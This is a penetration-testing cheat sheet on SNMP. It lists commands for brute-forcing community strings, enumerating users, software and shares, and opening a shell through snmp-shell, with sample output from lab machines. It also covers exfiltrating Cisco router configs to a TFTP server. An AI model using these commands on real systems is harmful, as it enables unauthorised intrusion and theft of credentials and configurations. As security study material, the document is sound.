description |
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UDP 161 - Simple Network Management Protocol (SNMP) is an Internet Standard protocol for collecting and organizing information about managed devices. |
It's important to remember that SNMP has 3 versions:
Version | Info |
---|---|
1 | The initial version of the protocol. It is easy to set up and is defined in RFC 1155 and 1157. |
2c | The revised version with enhanced protocol packet types, transport mappings, and MIB structure elements, but also uses the existing SNMPv1 administration structure ("community-based" and hence SNMPv2c). |
3 | Facilitates remote configuration of SNMP entities. It also adds both encryption and authentication, which can be used together or separately, making this the most secure version yet. |
apt install snmp-mibs-downloader
echo "" > /etc/snmp/snmp.conf
nmap -p 161 -sU -oA nmap_udp_snmp 10.10.10.92
snmpwalk -v2c -c public 192.168.1.234
-v = version of the SNMP - most poplur 2c
-c = the public string (default public)
Snmp configuration file is located by default in:
/etc/snmp/snmpd.conf
and it includes the passwords for the community and private string.
./onesixtyone -c /opt/SecLists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.92
Scanning 1 hosts, 122 communities
10.10.10.92 [public] Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
10.10.10.92 [public] Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
msf5 auxiliary(scanner/snmp/snmp_enumusers) > show options
Module options (auxiliary/scanner/snmp/snmp_enumusers):
Name Current Setting Required Description
---- --------------- -------- -----------
COMMUNITY public yes SNMP Community String
RETRIES 1 yes SNMP Retries
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax '
file:<path>
'
RPORT 161 yes The target port (UDP)
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1 yes SNMP Timeout
VERSION 1 yes SNMP Version <1/2c>
msf5 auxiliary(scanner/snmp/snmp_enumusers) > set rhosts 192.168.0.41
rhosts => 192.168.0.41
msf5 auxiliary(scanner/snmp/snmp_enumusers) > run
[+] 192.168.0.41:161 Found 6 users: daemon, jack, noaccess, nobody, root, smmsp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Using Net-SNMP functionality we can gain shell on a SNMP server
Link: https://github.com/mxrch/snmp-shell
root@kali# rlwrap python3 /opt/snmp-shell/shell.py 10.10.10.195 -c SuP3RPrivCom90
Debian-snmp@intense:/$ id
uid=111(Debian-snmp) gid=113(Debian-snmp) groups=113(Debian-snmp)
Enyx is an enumerator tool about grabbing the possible IPV6 of a machine through the snmp protocol.
Identify SNMPv3 servers with nmap:
nmap -sV -p 161 --script=snmp-info TARGET-SUBNET
Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for SNMPv3:
apt-get install snmp snmp-mibs-downloader
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
Getif is a free multi-functional Windows GUI based Network Tool written by Philippe Simonet. It is amongst other things, an excellent SNMP tool that allows you to collect and graph information from SNMP devices.
Download:
http://www.wtcs.org/snmp4tpc/getif.htm
Install and set compatability as Windows XP SP2
Press STRAT once you put the IP and public commuinty
Download the SNMP4tPC Getif MIB collection as well.
For each tab press 'start' to get the information
Error: If you getting 'DllRegisterServer (msflxgrd) failed' error
– run the software as administrator
interfaces
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.2.2
Windows User Accounts
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25
Windows Running Programs
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2
Windows Hostname
snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5
Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1
Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27
Windows TCP Ports
snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3
Software Name
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2
SysLocation
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.1.6
Enumerate users on solaris:
use auxiliary/scanner/snmp/snmp_enumusers
Copies configuration files from Cisco devices running SNMP.
Usage:
root@kali:~# copy-router-config.pl
######################################################
# Copy Cisco Router config - Using SNMP
# Hacked up by muts - [email protected]
#######################################################
Usage : ./copy-copy-config.pl <router-ip> <tftp-serverip> <community>
Make sure a TFTP server is set up, preferably running from /tmp !
Example:
root@kali:~# copy-router-config.pl 192.168.1.1 192.168.1.15 private